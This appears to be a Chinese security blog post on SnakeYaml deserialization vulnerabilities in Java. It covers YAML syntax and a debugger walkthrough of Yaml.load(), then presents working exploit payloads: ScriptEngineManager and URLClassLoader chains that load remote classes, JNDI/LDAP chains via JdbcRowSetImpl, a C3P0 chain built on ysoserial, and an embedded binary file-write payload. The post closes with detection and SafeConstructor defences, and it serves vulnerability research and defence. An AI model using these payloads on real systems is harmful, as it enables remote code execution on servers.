Java SnakeYaml反序列化漏洞
0x01 基本概念
Yaml简介
YAML 是 "YAML Ain't a Markup Language"(YAML 不是一种标记语言)的递归缩写。在开发的这种语言时,YAML 的意思其实是:"Yet Another Markup Language"(仍是一种标记语言)。是一个可读性高、用来表达数据序列化的格式,类似于XML但比XML更简洁。
在Java中,有一个用于解析YAML格式的库,即SnakeYaml。SnakeYaml是一个完整的YAML1.1规范Processor,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
Yaml基本语法
- 大小写敏感
- 使用缩进表示层级关系
- 缩进不允许使用
tab,只允许空格 - 缩进的空格数不重要,只要相同层级的元素左对齐即可
#表示注释,只有行注释
支持的数据结构:
1. 对象
对象键值对使用冒号结构表示 key: value,冒号后面要加一个空格。
也可以使用 key:{key1: value1, key2: value2, ...}。
还可以使用缩进表示层级关系;
1 | key: |
2. 数组
使用一个短横线加一个空格代表一个数组项:
1 | - A |
YAML 支持多维数组,可以使用行内表示:
1 | key: [value1, value2, ...] |
数据结构的子成员是一个数组,则可以在该项下面缩进一个空格。
1 | companies: |
意思是 companies 属性是一个数组,每一个数组元素又是由 id、name、price 三个属性构成。
数组也可以使用流式(flow)的方式表示:
1 | companies: [{id: 1,name: company1,price: 200W},{id: 2,name: company2,price: 500W}] |
3. 常量
YAML中提供了多种常量结构,包括:整数,浮点数,字符串,NULL,日期,布尔,时间。下面使用一个例子来快速了解常量的基本使用:
1 | boolean: |
5. 引用
& 锚点和 * 别名,可以用来引用:
1 | defaults: |
相当于:
1 | defaults: |
& 用来建立锚点(defaults),<< 表示合并到当前数据,* 用来引用锚点。
更多的关于YAML的语法及使用可参考:https://www.yiibai.com/yaml
0x02 使用SnakeYaml
使用SnakeYaml进行序列化和反序列化
SnakeYaml提供了Yaml.dump()和Yaml.load()两个函数对yaml格式的数据进行序列化和反序列化。
Yaml.load():入参是一个字符串或者一个文件,经过序列化之后返回一个Java对象;Yaml.dump():将一个对象转化为yaml文件形式;
使用之前先引入依赖编写一个1
2
3
4
5<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.30</version>
</dependency>User类1
2
3
4
5
6
7
8
9
10
11public class User {
String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}test.java,序列化新建的User对象为yaml格式内容:输出内容如下:1
2
3
4
5
6
7
8
9
10
11import org.yaml.snakeyaml.Yaml;
public class test {
public static void main(String[] args) {
User user = new User();
user.setName("abc");
Yaml yaml = new Yaml();
String s = yaml.dump(user);
System.out.println(s);
}
}
这里!!用于强制类型转化,!!User是将该对象转为User类,如果没有!则就是个key为字符串的Map
修改Test.java,反序列化yaml格式内容:输出如下:1
2
3
4
5
6
7
8
9
10import org.yaml.snakeyaml.Yaml;
public class test {
public static void main(String[] args) {
String s = "!!com.alter.test.User {name: abc}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user + ":" + user.getName());
}
}
SnakeYaml反序列化的类方法调用
类比Fastjson的反序列化的类方法调用,这里试下Yaml.load()在调用时会调用将要反序列化的类的哪些方法。
这里我们修改User类:
1 | public class User { |
test.java内容如下:
1 | import org.yaml.snakeyaml.Yaml; |
输出如下:
可以看到,调用了反序列化的类的构造函数和yaml格式内容中包含的属性的setter方法
无构造函数和set函数情况下 snakeyaml 将使用反射的方式自动赋值。
1 | yaml.load("!!com.zlg.SnakeYaml.ModelA {a: 5, b: 0}") ; |
有构造函数的情况下
1 | yaml.load("!!com.zlg.SnakeYaml.ModelB [5 , 0 ]") ; |
SnakeYaml反序列化调试
在前面的反序列化Demo中的User user = yaml.load(s);上打断点开始调试。
在load()函数中会先生成一个StreamReader,将yaml数据通过构造函数赋给StreamReader,再调用loadFromReader()函数:
在loadFromReader()函数中,调用了BaseConstructor.getSingleData()函数,此时type为java.lang.Object,指定从yaml格式数据中获取数据类型是Object类型:
跟进getSingleData()函数中,先创建一个Node对象(其中调用getSingleNote()会根据流来生成一个文件,即将字符串按照yaml语法转为Node对象),然后判断当前Node是否为空且是否Tag为空,若不是则判断yaml格式数据的类型是否为type类型,即Object类型、或者是否有根标签,这里都判断不通过,最后返回调用constructDocument()函数的结果:
继续调试,经过如下调用栈来到getClassForNode
getClassForNode()函数,先根据tag取出className为User,然后调用getClassForName()函数获取到具体的User类,因此函数名就表示它的功能:根据Node获取Class
这里介绍两个函数getClassName()和getClassForName()
在getClassName()函数中,判断开头是否是tag:yaml.org,2002:,是的话进行UTF-8编码并返回该类名
而在getClassForName()函数中,根据获取到的User类名来调用Class.forName()即通过反射的方式来获取目标类User:
回到construct()函数,其中getConstructor(node)回进入上文讲的getClassForNode(node)中,下面介绍construct(node)

在construct(node)函数中:
Object obj = Constructor.this.newInstance(mnode);会经过如下代码实例化一个User类
1 | ... |
调用栈如下:
接下来通过return语句设置User类的属性值
跟进constructJavaBean2ndStep()函数,其中会获取yaml格式数据中的属性的键值对,然后调用propert.set()来设置新建的User对象的属性值:
跟进MethodProperty.set()函数,就是通过反射机制来调用User类name属性的setter方法来进行属性值的设置的:
调用栈如下
属性值设置完成后,就返回新建的含有属性值的User类对象了。
整个SnakeYaml反序列化的过程差不多就这样。
0x03 SnakeYaml反序列化漏洞
影响版本
SnakeYaml全版本都可被反序列化漏洞利用
漏洞原理
因为SnakeYaml支持反序列化Java对象,所以当Yaml.load()函数的参数外部可控时,攻击者就可以传入一个恶意类的yaml格式序列化内容,当服务端进行yaml反序列化获取恶意类时就会触发SnakeYaml反序列化漏洞。
复现利用(基于ScriptEngineManager利用链)
本次利用是基于javax.script.ScriptEngineManager
Java从1.6开始自带ScriptEngineManager这个类,原生支持调用js,无需安装第三方库。ScriptEngine支持在Js中调用Java的对象。
poc.java需要实现ScriptEngineManager接口类,其中的静态代码块用于执行恶意代码,将其编译成poc.class然后放置于第三方Web服务中:
1 | import javax.script.ScriptEngine; |
另外,在已放置poc.class的第三方Web服务中,在当前目录新建如下文件META-INF\services\javax.script.ScriptEngineFactory,其中内容为指定被执行的类名poc(具体为啥这么做在后面的调试分析中会说到):
注意,不要添加.class,否则.会被当做目录来进行分割处理,从而不能正确地获取到class文件。test.java,假设的Yaml.load()外部可控的服务端漏洞程序:
1 | import org.yaml.snakeyaml.Yaml; |
运行结果:
也可以直接打包成恶意jar包放置在第三方Web服务中来触发:https://github.com/artsploit/yaml-payload
上述的Payload会从最右边开始解析, 首先调用java.net.URL的 public URL(String spec) 构造器初始化对象, 然后将该URL对象传入java.net.URLClassLoader的 public URLClassLoader(URL[] urls)构造器中, 因为该构造器形参是URL对象数组所以Payload中用了两个方括号。最后即是调用 javax.script.ScriptEngineManager 的public ScriptEngineManager(URLClassloader loader)构造器。
分析
在yaml.load(poc);打上断点开始调试。
yaml数据解析的过程和前面章节的过程分析一样的,经过如下调用栈,获取javax.script.ScriptEngineManager类名

调试发现,在调用完如下调用链获取到类名javax.script.ScriptEngineManager之后,会返回到调用链中的construct()函数中调用获取到的构造器的constrcut()方法,然后就会继续遍历解析得到yaml格式数据内的java.net.URLClassLoader类名和java.net.URL类名:constructDocument->constructObject->constructObjectNoCheck->construct->getConstructor->getClassForNode->getClassForName
两个断点中间的代码循环执行了三次
往下调试,在返回到的Constructor$ConstructSequence.construct()方法中,程序往下执行会调用newInstance()函数来新建实例:
这里为新建ScriptEngineManager类实例,其中argumentList参数为URLClassLoader类对象。
然后就调用到了ScriptEngineManager类的构造函数了:
在init()中调用了initEngines(),跟进initEngines(),看到调用了ServiceLoader<ScriptEngineFactory>
这个就是Java的SPI机制,当服务的提供者提供了一种接口的实现之后, 需要在classpath下 META-INF/services目录里创建一个以服务接口命名的文件, 文件内容为接口的具体实现类。当其他客户端程序需要这个服务的时候, 就可以通过查找META-INF/services中的配置文件去加载对应的实现类。
也就是说会去寻找目标URL中META-INF/services目录下的名为javax.script.ScriptEngineFactory的文件,获取该文件内容并加载文件内容中指定的类即poc,这就是前面为什么需要我们在一台第三方Web服务器中新建一个指定目录的文件,同时也说明了ScriptEngineManager利用链的原理就是基于SPI机制来加载执行用户自定义实现的ScriptEngineManager接口类的实现类,从而导致代码执行
接着通过如下调用栈来到ServiceLoader$LazyIterator.nextService()函数
这个函数调用Class.forName()即通过反射来获取目标URL上的poc.class,此时在Web服务端会看到被请求访问poc.class的记录;接着c.newInstance()函数创建的poc类实例传入javax.script.ScriptEngineManager类的cast()方法来执行:
执行到第二遍是才实例化poc
最终通过newInstance方法实例化,首先是URL的实例化,之后是URLClassLoader的实例化,最终实例化ScriptEngineManager时才会真正的触发远程代码执行
此时由于新建的是poc类实例,因此会调用到poc类的构造函数,而该类的静态代码块会被执行一遍,从而触发率任意代码执行漏洞。
绕过!!
详细见https://b1ue.cn/archives/407.html!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。
一旦 yaml 缺少了 !! 将无法再指定恶意的反序列化类,也就构不成代码执行的威胁了。
可使用以下两种方式替代!!
1 | //原poc |
相关应用CVE
Resteasy
Apache Camel
Apache Brooklyn
0x04 更多Gadgets探究
下面看下其他反序列化Gadgets在SnakeYaml中的利用,具体的调试分析过程就只简单提下并给出主要的利用链就好。
1. JdbcRowSetImpl
基于JdbcRowSetImpl的Gadget十分经典,有基于RMI和LDAP的,因为LDAP的利用范围更广,因此这里就只跑这个场景,具体原理之前讲过就不再赘述。
poc如下,注意添加换行符:
1 | String poc = "!!com.sun.rowset.JdbcRowSetImpl\n dataSourceName: \"ldap://localhost:1389/Exploit\"\n autoCommit: true"; |
测试时注意版本问题
简单地说,就是SnakeYaml在调用Yaml.load()反序列化的时候,会调用到JdbcRowSetImpl类的dataSourceName属性的setter方法即setDataSourceName(),然后就触发后续一系列的利用链最后达到任意代码执行的目的。
问题TODO
这里有一个问题,之前JNDI高版本的exp都是利用反序列化getshell,能不能像低版本那样远程加载类呢?
2. Spring PropertyPathFactoryBean
需要在目标环境存在springframework相关的jar包
可以直接将String类型的poc传参给Yaml.load(),也可以从文件中读取内容传入文件流给Yaml.load(),需要注意payload中的各行的间隔距离:
1 | String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + |
开启LDAP服务和放置Exploit类的Web服务,运行即可触发:
3. C3P0 JndiRefForwardingDataSource
原理和环境相关的参考Jackson方面即可。payload:
1 | !!com.mchange.v2.c3p0.JndiRefForwardingDataSource |
4. C3P0
C3P0 WrapperConnectionPoolDataSource
本地环境依赖
1 | <dependency> |
需要用到C3P0.WrapperConnectionPoolDataSource通过Hex序列化字节加载器,给userOverridesAsString赋值恶意序列化内容(本地Gadget)的Hex编码值达成利用。
这里以C3P0+CC2为例
生成段CC2弹计算器的poc
1 | java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "open -a Calculator" > /tmp/calc.ser |
读取文件内容并Hex编码
1 | public class HexEncode { |
最终paylaod如下,注意冒号后面有个空格:
1 | String poc = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + |
userOverridesAsString:后面的值还有一种构造方法(没有测试)
参考marshalsec的Gadget,下面是输出该值的代码:
1 | public static void createPoC() throws Exception { |
该Gadget原理是userOverridesAsString的setter方法触发C3P0数据库连接池去调用referenceToObject()函数将Reference转化成对象的时候导致的
5. ScriptEngineManager
参考 https://xz.aliyun.com/t/10655, 下面做个复现
主要分两步,第一步把利用时所需jar包落地,第二步用ScriptEngineManager通过file协议加载本地jarfastjson和jackson好像也没有直接RCE的链,并且还多依赖于三方jar包,通过改写1.2.68 写文件的链和ScriptManager本地加载jar包的方式 仅需依赖jdk就可以完成RCE。
用师傅的POC写了payload:
1 | !!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["/Users/gaoshanyi/Projects/IdeaProjects/SnakeYaml/src/main/resources/evil.txt"],false],!!java.util.zip.Inflater { input: !!binary eJwL8GZmEWHg4OBgmLP2dAgDEhBhYGHwdQ1x1PX0c9P3dfTzdHMNDtHzdft3ioHhs++Z0z7eunoXeb11tc6dOb85yOCK8YOnn3zPnLlces5TR29bkIfu6TMPnz56ysQQ4M3Osb9LUFQXaKg2EAcAreRiYOBgwLCSE4jhVuJWxgbEiTklqUVgNdhdzw9XU5CfrJeck1hc3BviXX7bReTfsTLlo6WPjhxkDOLSrFVd6GLjtdBXSiPP6daN0qinS7jDklP7VodMK1kieDzuU/aNILHGy6z2DfJHH/Yt4doaKJNvYvz93vvd+X8/v3+9n/FOW+RR1xrz3t07licv7vK9sz6J+/7rH45z+U3+RLT2TWtrl9pm+sbAJ/fWOt3tEqe0V7fzTJ1WriLxKve2qP8iR38W9j3PJyy5+E3nncynA2HvQyIm6r+Z8DBptnUQS9v7SGke41rF7Xf3KT1gNqrKT91ae6b+Ydvhu/sSTx0o+51iNn2mbJfCFltzV76lBVcnV0jnT5i4RXZxbvukgsvL7pbv7GFatK/wVMLnLat1ma527EzmP3LwhLjLmsvBrO7XrWJvp8h+rJPKV1Y/6RTM8ttGgdkrxNLurfr81O3lOjqiuT+XSqx8JCqS4HhU5Qn3+xVHZY/L7JzEL/mNa4a/d53ce7vPgd+qjvPkOKx95Dj/UqyGg5pmufJL90tTYroaC57+tEx7kfnSdovz/YdTMkOvan74FaLZNlt78rFI3vs/fKOTohrfLv98sMDy7ecLHMk7J4YLx9zfMqekR3KmubD4tnSbV3n8ug+9Xy2c5XPqXNXNh3U2+7bwPLnxZdEBIettUulz2SpiHbNnHFzTNj/rxlFlrozpCY8ydppH9bHHHn4s9e3CtQsrH3Lu4vnOWywSxHSM+X55Trd2+0LH2q1K7d76Ec/35W+xCV/F08u3fVeaX/Rhu3lB+VyL1j2UTFt55GbTxUd7rNN4TqeLpbdHP0n4IqbFGcrrrvL56K3laRcYWJr4zYouPjnCM2t9HF+uy+YMmxf8Rv/3f4l84hW9dsqsrjcXa17XT+g6mejK07q0Le3PmQslkUo8nAHfJ59YYcnOuJ1lncPf/xmRL9MtvJ/7/Fl7+fSCyRcrE9/6bwgv0Uzs2xe8cUNX5a9rQswmGxzU/2674HNwe1BB599/fEWG7TqpJ45yTpjONfH9Y+aqXnc9cQX7nvfeKrtNGA9/3cgj73tgg9m0h59Yfkq3/qy3YfxUpvhJeJV30x7n9JUCleZuemq3RFbmhX/QfFl/NDTG21LucqTmkxtdlteEcvseV51ZmGf+YlrFjk7RKZ67vL49P3rNSnnb+Us38h5+LrYsO/8gYrlFiClvTWFeqTXr1asfU7d5ME/SuntJXsP0lPqKP63cvSuFM87XN+/bXtb0Mnxj3bxv7svfiH4WKmyeFqg+7WdE8HK78xePmBjl+656Ef7D6p3+goUlCx7O5tJ8d6Sx5rc8qGxwLzELn8LMwPCYA1Q2MDKJMCCyNHK5ASqQUAGu4glkChcD7jIGAYpRSxzc2thQtM1CKoFQHYzsGX4UPfswS6QAb1awuSxA+A5I94M9CACIMCq1 },1048576]] |
直接用师傅的exp就可以直接让文件落地
然后进行第二步用ScriptEngineManager通过file协议加载本地jar
1 | String poc = "!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL [\"file:///SnakeYaml/src/main/resources/evil.txt\"]]]]"; |
其实保存到目标服务器的文件格式是什么不重要,txt都可以执行
jar包结构为:
6. Spring
Spring DefaultBeanFactoryPointcutAdvisor
测试未通过
需要在目标环境存在springframework相关的jar包payload如下:
1 | set: |
7. Apache XBean
未测试
本地环境用的xbean-naming-4.5.jar。payload:
1 | !!javax.management.BadAttributeValueExpException[!!org.apache.xbean.naming.context.ContextUtil$ReadOnlyBinding ["foo",!!javax.naming.Reference [foo, "Exploit", "http://localhost:8000/"],!!org.apache.xbean.naming.context.WritableContext []]] |
8. Apache Commons Configuration
未测试payload:
1 | set: |
9. Resource
未测试payload:
1 | [!!org.eclipse.jetty.plus.jndi.Resource ["__/obj", !!javax.naming.Reference ["foo", "Exploit", "http://localhost:8000/"]], !!org.eclipse.jetty.plus.jndi.Resource ["obj/test", !!java.lang.Object []]] |
0x05 检测与防御
检测方法
排查服务端环境是否使用了SnakeYaml,若使用了则全局搜索关键字yaml.load,若存在该关键字则需要进一步排查参数是否外部可控。
防御方法
- 禁止
Yaml.load()函数参数外部可控; - 若业务确实需要反序列化,则需严格过滤该参数内容,使用
SafeConstructor对反序列化的内容进行限制或使用白名单控制反序列化的类的白名单;
在snakeyaml 1.30 /org/yaml/snakeyaml/constructor/SafeConstructor.java中看到,其构造函数就自定义了反序列化的类的白名单:
1 | public SafeConstructor(LoaderOptions loadingConfig) { |
0x06 利用工具
https://github.com/artsploit/yaml-payload
本文使用的代码(部分):
https://github.com/altEr1125/altEr1125.github.io/tree/master/file/Java%20SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E
0x07 Reference
https://www.mi1k7ea.com/2019/11/29/Java-SnakeYaml%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://b1ue.cn/archives/407.html
https://xz.aliyun.com/t/10655
